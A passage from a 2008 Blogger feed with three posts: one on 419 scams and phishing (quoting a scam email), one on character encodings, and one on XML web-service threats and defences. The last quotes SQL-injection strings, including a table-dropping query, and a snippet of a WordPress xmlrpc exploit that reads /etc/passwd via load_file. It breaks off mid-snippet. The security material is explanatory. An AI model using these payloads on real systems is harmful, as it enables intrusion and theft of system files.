href="http://en.wikipedia.org/wiki/Advance_fee_fraud"&gt;Advance fee fraud&lt;/a&gt;&lt;/em&gt;&lt;/div&gt;&lt;br /&gt;&lt;/dd&gt; &lt;/dl&gt;Advance fee fraud spam such as the Nigerian "419" scam may be sent by a single individual from a cyber cafe in a developing country. Organized "spam gangs" operating from Russia or eastern Europe share many features in common with other forms of organized crime.&lt;br /&gt;&lt;br /&gt;Take a look at Creative form of Criminal activity here in &lt;a href="http://potifos.com/fraud/"&gt;Nigerian Fraud Email Gallery&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Goal is simple: To woo the winner with a big amount and then ask for "advance fee" for the expenses required to transfer those millions. creative &amp;amp; very effective!&lt;br /&gt;&lt;br /&gt;One of such crazy email story here:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:x-small;font-family:Arial,Helvetica,Sans-Serif;"&gt;&lt;span style="font-size:small;font-family:Courier;"&gt;&lt;tt&gt;From: "PRINCE ARTHUR EZE" &amp;lt;princearthureze@email.com&amp;gt;&lt;br /&gt;Date: Sun, 02 Jun 2002 06:20:08&lt;br /&gt;To:greedymark@everywhere.com&lt;br /&gt;Subject: respond promptly&lt;/tt&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;From the Desk of:&lt;br /&gt;REV FRANKLIN EGOBIA&lt;br /&gt;SENIOR ACCOUNTANT&lt;br /&gt;INTERCONTINENTAL BANK LIMITED&lt;br /&gt;#98 ADENIRANB OGUNSAYO BRANCH&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;TO: THE MANAGING DIRECTOR/CEO&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;DEAR SIR,&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;RE:TRANSFER OF THE SUM OF US$52.1M DOLLARS INTO YOUR&lt;br /&gt;ACCOUNT&lt;br /&gt;FIRST,I MUST SOLICIT YOUR CONFIDENCE IN THIS&lt;br /&gt;TRANSACTION.THIS IS BY VIRTUE OF IT'S NATURE AS BEING&lt;br /&gt;UTTERLY CONFIDENTIAL AND TOP SECRET.THOUGH I KNOW THAT&lt;br /&gt;A TRANSACTION OF THIS MAGNITUDE WILL MAKE ANYONE&lt;br /&gt;APPREHENSIVE AND WORRIED.BUT I AM ASSURING YOU THAT&lt;br /&gt;ALL&lt;br /&gt;WILL BE WELL AT THE END OF THE DAY.WE HAVE DECIDED TO&lt;br /&gt;CONTACT YOU THROUGH THIS MEDIUM DUE TO THE URGENCY OF&lt;br /&gt;THIS TRANSACTION AS WE HAVE BEEN RELIABLY INFORMED OF&lt;br /&gt;YOUR DISCRETENESS AND ABILITY.&lt;br /&gt;LET ME START BY INTRODUCING MYSELF TO YOU. I AM REV FRANKLIN EGOBIA&lt;br /&gt;SENIOR ACCOUNTANT OF INTERCONTINENTAL BANK&lt;br /&gt;LIMITED ADENIRAN OGUNSAYO BRANCH OFFICE LAG0S NIGERIA&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Thousands of unsuspecting people fall for this trap year after year. The stories get better and hi-tech each year.&lt;br /&gt;&lt;h3&gt;&lt;span class="mw-headline"&gt;Phishing&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;dl&gt; &lt;dd&gt;&lt;br /&gt;&lt;div class="noprint relarticle mainarticle"&gt;&lt;em&gt;Main article: &lt;a title="Phishing" href="http://en.wikipedia.org/wiki/Phishing"&gt;Phishing&lt;/a&gt;&lt;/em&gt;&lt;/div&gt;&lt;br /&gt;&lt;/dd&gt; &lt;/dl&gt;Spam is also a medium for fraudsters to scam users to enter personal information on fake Web sites using e-mail forged to look like it is from a bank or other organization such as &lt;a title="PayPal" href="http://en.wikipedia.org/wiki/PayPal"&gt;PayPal&lt;/a&gt;. This is known as &lt;em&gt;phishing&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;That is why submitting confidential information like Credit card numbers are a strict No-No.&lt;br /&gt;&lt;br /&gt;Recently I shopped at indiaplaza.in and this is the email I received from them:&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Thank you for shopping at Indiaplaza.in. We hope you had an enjoyable&lt;br /&gt;experience shopping on our site.&lt;br /&gt;&lt;br /&gt;This mail is with reference to your order number 301020070616 for a value&lt;br /&gt;of Rs. 16595/- we have to follow an additional due diligence process before authorisation.&lt;br /&gt;We carry out this process  for the additional protection of&lt;br /&gt;our customers and to prevent misuse of the &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As part of the process, we earnestly request you to send us the billing&lt;br /&gt;address (where you receive your &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; statement).&lt;br /&gt;&lt;br /&gt;- email the &lt;span class="nfakPe"&gt;scanned&lt;/span&gt; copy of latest &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; statement.&lt;br /&gt;&lt;br /&gt;- email the &lt;span class="nfakPe"&gt;scanned&lt;/span&gt; copy of front and the back of the &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt;&lt;br /&gt;used to pay for this order.&lt;br /&gt;&lt;br /&gt;Using these documents, we will be able to get additional information&lt;br /&gt;required by us to authorize the order. We request you to e-mail the details to &lt;a href="mailto:triveni@indiaplaza.in"&gt;triveni@indiaplaza.in&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We assure you that we will authorize and process your order as soon&lt;br /&gt;as we receive these details from you. Please accept our sincere thanks for&lt;br /&gt;your cooperation.&lt;br /&gt;&lt;br /&gt;We look forward to hearing from you at the earliest and also having you&lt;br /&gt;&lt;br /&gt;shop with us regularly.&lt;br /&gt;&lt;br /&gt;Warm regards,&lt;br /&gt;&lt;span style="color:#888888;"&gt;Triveni&lt;br /&gt;Senior Executive - Payment Authorization&lt;br /&gt;Browse,Shop.Have a great time at : &lt;a href="http://www.indiaplaza.in/" target="_blank"&gt;www.indiaplaza.in&lt;/a&gt;&lt;br /&gt;India's finest virtual supermarket&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;br /&gt;Here was my reply to them:&lt;br /&gt;&lt;br /&gt;Hello Triveni,&lt;br /&gt;&lt;br /&gt;* I can send the &lt;span class="nfakPe"&gt;scanned&lt;/span&gt; copy of Latest &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; statement.&lt;br /&gt;* But  will *not* send the  &lt;span class="nfakPe"&gt;scanned&lt;/span&gt; copy of front and the back of the &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; used to pay for this order.&lt;br /&gt;&lt;br /&gt;I hope you understand that sending copy of &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt;(Both front and Back) in email is a HUGE RISK!&lt;br /&gt;And anybody who has access to my &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; information can misuse the &lt;span class="nfakPe"&gt;card&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;By asking me to send a &lt;span class="nfakPe"&gt;scanned&lt;/span&gt; copy of my &lt;span class="nfakPe"&gt;credit&lt;/span&gt; &lt;span class="nfakPe"&gt;card&lt;/span&gt; you are inviting trouble for me, which I cannot oblige. so let me know what shall I do.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------&lt;br /&gt;&lt;br /&gt;There reply was that they will go ahead with the order and they shipped the order as requested.&lt;br /&gt;&lt;br /&gt;But I was surprised that a online shopping co. - Indiaplaza was asking for Scanned copy of Credit Card..&lt;br /&gt;&lt;br /&gt;Information which is so confidential, is being demanded from naive users. They claim themselves to be in authority&lt;span style="color:#888888;"&gt; (Senior Executive - Payment Authorization) &lt;/span&gt;such that anyone could fall into there trap.&lt;br /&gt;&lt;br /&gt;Disclaimer: Probably, Indiplaza are asking this because the number of Credit card defaulters might be high in India. But my concern is that any call-center guy working in indiatimes would have access to huge number of credit card information; A potential of a big fraud waiting to happen...&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Coming back to email frauds.&lt;br /&gt;&lt;br /&gt;So where is the money hiding?&lt;br /&gt;&lt;br /&gt;- Phishing and Advance fee scams clearly  have hidden money.&lt;br /&gt;&lt;br /&gt;- Advertisements for products have *some* money as well.&lt;br /&gt;&lt;br /&gt;But still is it worth it? Is the cost recoverable?&lt;br /&gt;&lt;br /&gt;The money spent in sending billions of emails mainly: cpu time, power required to run the setup, network bandwidth to connect to the internet, and finally tracking each customer falling into there trap. All of that involves $$$. So is it a profitable business at all?&lt;br /&gt;&lt;br /&gt;Lets do some math:&lt;br /&gt;&lt;br /&gt;The email I received today belongs to the Advance fee Nigerian scam. Suppose out of 100 billion email spam every day, 10% is such email = 10 billion Nigerian scam messages forwarded.&lt;br /&gt;&lt;br /&gt;Out of 10 billion messages, let only .0001%  of the people make a fool of themselves.&lt;br /&gt;&lt;br /&gt;= 0.0001% * 10 billion = 10,000 people.&lt;br /&gt;&lt;br /&gt;if all 10,000 people send 100 dollars as a advance fee then its a business of One Million US Dollars. But not every one will send 100 dollars, some more, some less, depending upon how gullible they are.&lt;br /&gt;&lt;br /&gt;Assuming not even half of them reply, still you have made customers who would pay at least half a million or quarter of a million in a day.&lt;br /&gt;&lt;br /&gt;Assuming not all emails sent in a day are successful, hence we talk of successful emails over a month.&lt;br /&gt;&lt;br /&gt;Still the business would make atleast make half a million of US dollars per month, with network bandwidth falling and computer prices slashed, the business model will fit to work from &lt;a href="http://en.wikipedia.org/wiki/Third_World"&gt;Third world countries&lt;/a&gt;..&lt;br /&gt;&lt;br /&gt;Best regards,&lt;br /&gt;&lt;br /&gt;--Woods&lt;br /&gt;&lt;br /&gt;&lt;img style="border:1px solid blue;z-index:90;position:absolute;left:706px;top:27px;" src="//dictionarytip/skin/book.png" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2239272133783142958?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2239272133783142958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2239272133783142958' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2239272133783142958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2239272133783142958'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/won-1000000-pounds.html' title='Won £1000,000 pounds!'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3279264007828348429</id><published>2008-07-03T06:07:00.000-07:00</published><updated>2008-12-02T04:22:18.806-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Characters</title><content type='html'>Different Characters, Fonts, Glyphs, Encodings, Keyboard settings.&lt;br /&gt;&lt;br /&gt;I get Crazy thinking about ASCII, EBCDIC, Unicode, UCS-2, ISO-8859-1, UTF-8, UTF-16, UTF-32, char * and the wchar* (Wide Character). The Code set, code value, Character set, It's crazy!&lt;br /&gt;&lt;br /&gt;* What happens when you click  on your keyboard?  &lt;a href="http://www.pcguide.com/intro/works/exampl.htm"&gt;Read here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* How do we represent a character in binary?&lt;br /&gt;&lt;br /&gt;* What exactly is encoding-type?&lt;br /&gt;&lt;br /&gt;* How do we support fonts in Hindi, Chinese and other Languages?&lt;br /&gt;&lt;br /&gt;These are the questions I would attempt to answer referring to external articles from time to time which give in-depth details.&lt;br /&gt;&lt;br /&gt;Clearly &lt;a href="http://en.wikipedia.org/wiki/ASCII"&gt;ASCII &lt;/a&gt;had a limited set of characters (7 bit) totaling 128 Characters. Covered Basic A-Z, a-z, Numeral, Special characters and Control characters.&lt;br /&gt;&lt;br /&gt;At the same time IBM had defined &lt;a href="http://en.wikipedia.org/wiki/EBCDIC"&gt;EBCDIC&lt;/a&gt; for mainframes. The same character A had a different code value in the EBCDIC Code Page.  Character 'A' was 0xC1 or Decimal 193 in EBCDIC Code Page but same character  'A' was 0x41 or Decimal 65 in ANSI. What a mess. No wonder &lt;a href="http://en.wikipedia.org/wiki/EBCDIC"&gt;EBCDIC&lt;/a&gt; was so unpopular among early programmers and hackers.&lt;br /&gt;&lt;br /&gt;So now you can imagine what a Code Page is. Its a Big table that represents the Character Decimal Value of the Character itself.&lt;br /&gt;&lt;br /&gt;With time there was a need to represent characters in other languages Like Latin, Spanish, Arabic, Hebrew etc. A Different Code Page was alloted and the various characters were given there place in the Code Page. Not all language required a new Code Page. Since many of the characters in them were already defined in one of the Code Pages. All the New Code Pages defined maintained the Ascii Characters and used the range from 128 to 255. For example the ISO-8859 codes extend the &lt;a href="http://www.cs.tut.fi/%7Ejkorpela/chars.html#ascii"&gt;ASCII&lt;/a&gt; in different ways with different special characters (used in different languages and cultures). Just as ISO 8859-1 contains ASCII characters and a collection of characters needed in languages of western (and northern) Europe, there is ISO 8859-2 alias ISO Latin 2 constructed similarly for languages of central/eastern Europe, etc.&lt;br /&gt;&lt;br /&gt;Thus ISO 8859-n became the superset of ASCII and became a defacto encoding.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xmltech.files.wordpress.com/2008/07/encoding.jpg"&gt;&lt;img class="alignnone size-medium wp-image-13" src="http://xmltech.wordpress.com/files/2008/07/encoding.jpg?w=300" alt="" width="297" height="191" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(Check out various types of encodings supported by Firefox in View-&amp;gt;Character encoding)&lt;br /&gt;&lt;br /&gt;But there were languages which had characters more than 255 and could not fit in the 8 bit boundary of ASCII or ISO 8859* encoding. With Time There was a need for defining the universal Code Page which had unique Numerical value for all the symbols and characters in this world.&lt;br /&gt;&lt;br /&gt;Hence ISO 10646 by &lt;a title="International Organization for Standardization" href="http://www.iso.org/"&gt;ISO&lt;/a&gt; and &lt;a title="International Electrotechnical Commission" href="http://www.iec.ch/"&gt;IEC&lt;/a&gt; defined UCS, Universal Character Set, which is a very large and growing &lt;a href="http://www.cs.tut.fi/%7Ejkorpela/chars.html#repertoire"&gt;character repertoire&lt;/a&gt;, and a &lt;a href="http://www.cs.tut.fi/%7Ejkorpela/chars.html#code"&gt;character code&lt;/a&gt; for it. Currently tens of thousands of characters have been defined. &lt;a name="unicode"&gt;Unicode, was the practical definition of UCS. &lt;/a&gt;&lt;br /&gt;&lt;h4&gt;&lt;a name="ucs2"&gt;Encodings for Unicode&lt;/a&gt;&lt;/h4&gt;&lt;br /&gt;Originally Characters defined in earlier versions of Unicode were under 65K. Thus a two byte integer was more than required to represent that character.  Thus Originally the "native" Unicode encoding was UCS-2, which presents each code number as two consecutive octet which could fit in a &lt;strong&gt;two-byte integer&lt;/strong&gt; or 16 bits.However with revision 4th, Unicode defined more than 94K characters.&lt;br /&gt;&lt;br /&gt;Thus, &lt;strong&gt;the Universal Character Set was Unicode&lt;/strong&gt;. All Characters had a unique place in it which could be represented as U+0xabcd.&lt;br /&gt;&lt;br /&gt;For example: Character A was 0x0041 (same as the ASCII).&lt;br /&gt;&lt;br /&gt;But should a single ASCII character which took a single byte in memory take 2 bytes? What about tons of code already written treating strings as char *. Should they be changed in two character bytes( &lt;a href="http://msdn.microsoft.com/en-us/library/dtxesf6k(VS.71).aspx"&gt;WChar&lt;/a&gt; or Wide Character?) Well that Just happened and suddenly all character strings in Windows were defined as wchar or TCHAR to be ASCII and Unicode independent. But then all simple ASCII strings took double the space  as each character was 2 bytes long. This was clearly not good when your application simply dealt with ASCII characters.&lt;br /&gt;&lt;br /&gt;&lt;dl&gt; &lt;dt&gt; &lt;a name="encoding"&gt;Character encoding&lt;/a&gt; is an algorithm where characters are given there unique octets.&lt;/dt&gt; &lt;dt&gt; &lt;/dt&gt; &lt;dt&gt; In the simplest case of ISO-8859 and ASCII Characters, they are represented as it is. There octet value is same as the Code value in there Code Page. &lt;/dt&gt; &lt;dt&gt; &lt;/dt&gt; &lt;dt&gt;Now since Unicode was getting bigger than 94K charcters which would not fit even in 2 bytes, there was a need for algorthms which could represent these unique character values into sequence of octets.&lt;/dt&gt; &lt;/dl&gt;Thus came encoding algorithms:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;UTF-8 encoded each character value as a sequence of 8 bit octets.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;dl&gt; &lt;dd&gt; Character codes less than 128 (effectively, the &lt;a href="http://www.cs.tut.fi/%7Ejkorpela/chars.html#ascii"&gt;ASCII&lt;/a&gt; repertoire) are presented "as such", using one octet for each code (character) All other codes are presented, according to a relatively      complicated method, so that one code (character) is presented as a sequence of two to four octets, each of which      is in the range 128 - 255.  This means that in a sequence of octets, octets in the range 0 - 127 ("bytes with most significant bit set to 0") directly represent &lt;a href="http://www.cs.tut.fi/%7Ejkorpela/chars.html#ascii"&gt;ASCII&lt;/a&gt; characters, whereas octets in the range 128 - 255 ("bytes with most significant bit set to 1") are to be interpreted as really encoded presentations of characters.&amp;lt;&lt;a title="Reference" href="http://www.cs.tut.fi/~jkorpela/chars.html#10646"&gt;Reference&lt;/a&gt;&amp;gt; &lt;/dd&gt; &lt;dt&gt; &lt;a title="UTF-7 - A Mail-Safe Transformation Format of Unicode" name="utf7" href="ftp://nis.nsf.net/internet/documents/rfc/rfc2152.txt"&gt;&lt;/a&gt;&lt;/dt&gt; &lt;/dl&gt;&lt;em&gt;UTF-16 encoded each character as a sequence of two octets(Two 8 bit octets making it 16bits)&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;UTF-32 encodes each character value as a 32-bit binary integer, i.e. as four octets. &lt;/em&gt;This is a very obvious and simple encoding. Representing the actual value as it is...However it suffers from the limitations that each simple ASCII character in UTF-32 encoding will take 4 bytes.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;br /&gt;1)  &lt;a href="http://www.cs.tut.fi/~jkorpela/chars.html"&gt;Tutorial on Character Codes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2)  &lt;a href="http://en.wikipedia.org/wiki/Unicode"&gt;Unicode on Wikipedia&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3) &lt;a href="http://en.wikipedia.org/wiki/Unicode"&gt;Code Pages on MSDN&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3279264007828348429?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3279264007828348429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3279264007828348429' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3279264007828348429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3279264007828348429'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/characters.html' title='Characters'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1109679440489455523</id><published>2008-07-03T00:01:00.000-07:00</published><updated>2008-12-02T04:22:22.537-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web services Architecture'/><title type='text'>Xml Threat Protection</title><content type='html'>&lt;div id="f7gn"&gt;&lt;br /&gt;&lt;h1&gt;XML Threat Protection&lt;/h1&gt;&lt;br /&gt;Problem: Ignorance, negligence or malicious intent.&lt;br /&gt;Any of the above and the XML based web-services can be doomed by various kinds of attacks,&lt;br /&gt;Denial of service( or DOS) being the most common.&lt;br /&gt;&lt;br /&gt;Here are the typical threats to an XML based web-service:&lt;br /&gt;&lt;h2&gt;1)  Encoding Threats&lt;/h2&gt;&lt;br /&gt;o Threats related to naïve or broken XML parsers not designed to handle encodings correctly&lt;br /&gt;o Failure to maintain encoding information for an XML document&lt;br /&gt;&lt;span style="color:#666666;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.1" encoding-type="foo"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Rejecting unsupported encoding types.&lt;br /&gt;&lt;h2&gt;2) Structural Threats&lt;/h2&gt;&lt;br /&gt;o Threats related to the structure of the XML document, such as oversized payloads and components&lt;br /&gt;&lt;br /&gt;The structure of the XML can be bloated (over sized) in number of ways.&lt;br /&gt;The problem is that it is a well-formed XML, Although it may not be a Valid XML (not validating to its schema).&lt;br /&gt;Since, parsing occurs before schema validation, an attacker will succeed in a denial of service attack&lt;br /&gt;by keeping the machine busy parsing huge payloads of data.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Solution: &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Limit Enforcement for XML Parsing:&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div id="f7gn0" style="margin-left:40px;"&gt;&lt;strong&gt;a) &lt;/strong&gt;&lt;strong&gt;Limit enforcement for Depth/Nesting Level :&lt;/strong&gt; Putting a cap on depth(Nesting) of the nodes&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;root&amp;gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;attack&amp;gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;attack&amp;gt;&lt;/span&gt;&lt;br /&gt;....&lt;br /&gt;&lt;strong&gt;b) Limit on max #Attributes per element: &lt;/strong&gt;Putting a cap on Number of attributes&lt;br /&gt;&lt;span style="font-size:x-small;font-family:Courier New;color:#525252;"&gt; &amp;lt;attack a1=“1” a2=“1” a3=“1” a4=“1” a5=“1” a6=“1”… /&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:x-small;font-family:Courier New;color:#525252;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;strong&gt;c) Limit on max #of Sibling Nodes:&lt;/strong&gt; Putting a cap on Number of Sibling Nodes&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#666666;"&gt; &amp;lt;Attack&amp;gt;DoS&amp;lt;/Attack&amp;gt;…&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;d) Limit on over sized Payload&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; * Limits on the size of the processing instructions,&lt;br /&gt;* Limits on size of comments,&lt;br /&gt;* Limits on size of single CDATA items,&lt;br /&gt;* Limits on size of attribute values&lt;br /&gt;* Limits on size of content text() in node.&lt;br /&gt;&lt;span style="font-size:x-small;font-family:Courier New;color:#525252;"&gt;&lt;span&gt;&lt;span style="font-family:Verdana;"&gt; &amp;lt;attack&amp;gt;&lt;br /&gt;Huge Binary BLOB of Data...&lt;br /&gt;MHGJ+asd78xaweKHShghghtFHJGFdsjkbkjH76+dbn.....&lt;br /&gt;....&lt;br /&gt;&amp;lt;/attack&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;e)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt; Limit on names&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;* Oversized element names,&lt;br /&gt;* Oversized attribute names and&lt;br /&gt;* Oversized processing instruction target names.&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;3) Grammar Validation Threats&lt;/h2&gt;&lt;br /&gt;o Schema Poisoning&lt;br /&gt;&lt;br /&gt;Referencing schema in an xml document is done by the schemaLocation attribute.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;pre&gt;&amp;lt;?xml version="1.0"?&amp;gt;&amp;lt;note    xmlns="http://www.w3schools.com"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&lt;strong&gt;    xsi:schemaLocation="http://www.w3schools.com note.xsd"&amp;gt;&lt;/strong&gt;&lt;/pre&gt;&lt;br /&gt;The &lt;code&gt;&lt;a id="jx4v3" href="http://www.stylusstudio.com/w3c/schema0/schemaLocation.htm#attribute-schemaLocation"&gt;schemaLocation&lt;/a&gt;&lt;/code&gt; attribute value consists of one or more pairs of URI references,       separated by white space.&lt;br /&gt;&lt;br /&gt;Fortunately, the presence of       these URI references does not require the processor to obtain or use       the cited schema documents,&lt;br /&gt;And the processor is free to       use other schemas obtained by any suitable means, or to use       no schema at all.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Ignore all schemaLocation attributes in the XML and to use the pre-configured list of schemas.&lt;br /&gt;&lt;h2&gt;4) Semantic Threats&lt;/h2&gt;&lt;br /&gt;o XPath Injection, SQL injection – any threat that manipulates the representation of the XML document to change the semantics&lt;br /&gt;&lt;h3&gt;&lt;strong&gt;4.1) SQL Injection:&lt;/strong&gt; To read more  &lt;a id="fvw4" title="&amp;lt;Wiki&amp;gt;" href="http://en.wikipedia.org/wiki/SQL_injection"&gt;click here&lt;/a&gt;&lt;/h3&gt;&lt;br /&gt;In a nutshell, SQL injection can be described well with an Example:&lt;br /&gt;Most applications accept User Input, create a SQL Query and send it to the backend database.&lt;br /&gt;&lt;br /&gt;The Attacker tries to Inject SQL statements in such a way that it logically results in a query&lt;br /&gt;that always returns true.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;span style="color:#666666;"&gt;Select * from users where loginID = '' or 1=1 and password=' ' or 1=1&lt;/span&gt;&lt;br /&gt;The Attacker injected 1=1 by framing the user Input and since 1=1 is always True, the attacker will gain access into the Database&lt;br /&gt;without giving out the LoginID or password. Another more malicious example will be:&lt;br /&gt;select * from data where id=&lt;span class="nu0" style="color:#ff0000;"&gt;1&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;; DROP &lt;/span&gt;&lt;span class="kw1" style="color:#ff0000;"&gt;TABLE&lt;/span&gt;&lt;span style="color:#ff0000;"&gt; users;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But How does sql injection come into picture with XML?&lt;br /&gt;&lt;br /&gt;www.wordpress.com is a very popular free blogging website which uses xmlrpc&lt;br /&gt;In April of 2007, the &lt;a id="w5mu" title="vulnerability in wordpress" href="http://www.notsosecure.com/folder2/2007/04/03/wordpress-212-xmlrpc-security-issues/"&gt;vulnerability in wordpress&lt;/a&gt; caused SQL Injection attack.&lt;br /&gt;&lt;br /&gt;Here is the snippet from the exploit (&lt;a id="o" title="Download here" href="http://www.notsosecure.com/folder2/wp-content/uploads/2007/04/wp-xmlrpc-sql.pl"&gt;Download here&lt;/a&gt;) which gets the /etc/passwd file from the remote server:&lt;br /&gt;&lt;pre&gt;print"\nThis deserves no mercy....\n Lets get the /etc/passwd \n";my $sql4 = "&amp;lt;?xml version=\"1.0\"?&amp;gt;&amp;lt;methodCall&amp;gt;&amp;lt;methodName&amp;gt;mt.setPostCategories&amp;lt;/methodName&amp;gt;   &amp;lt;params&amp;gt;   &amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;string&amp;gt;".$postid." union all select load_file(0x2f6574632f706173737764)&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;   &amp;lt;/param&amp;gt;   &amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;string&amp;gt;".$username."&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;   &amp;lt;/param&amp;gt;   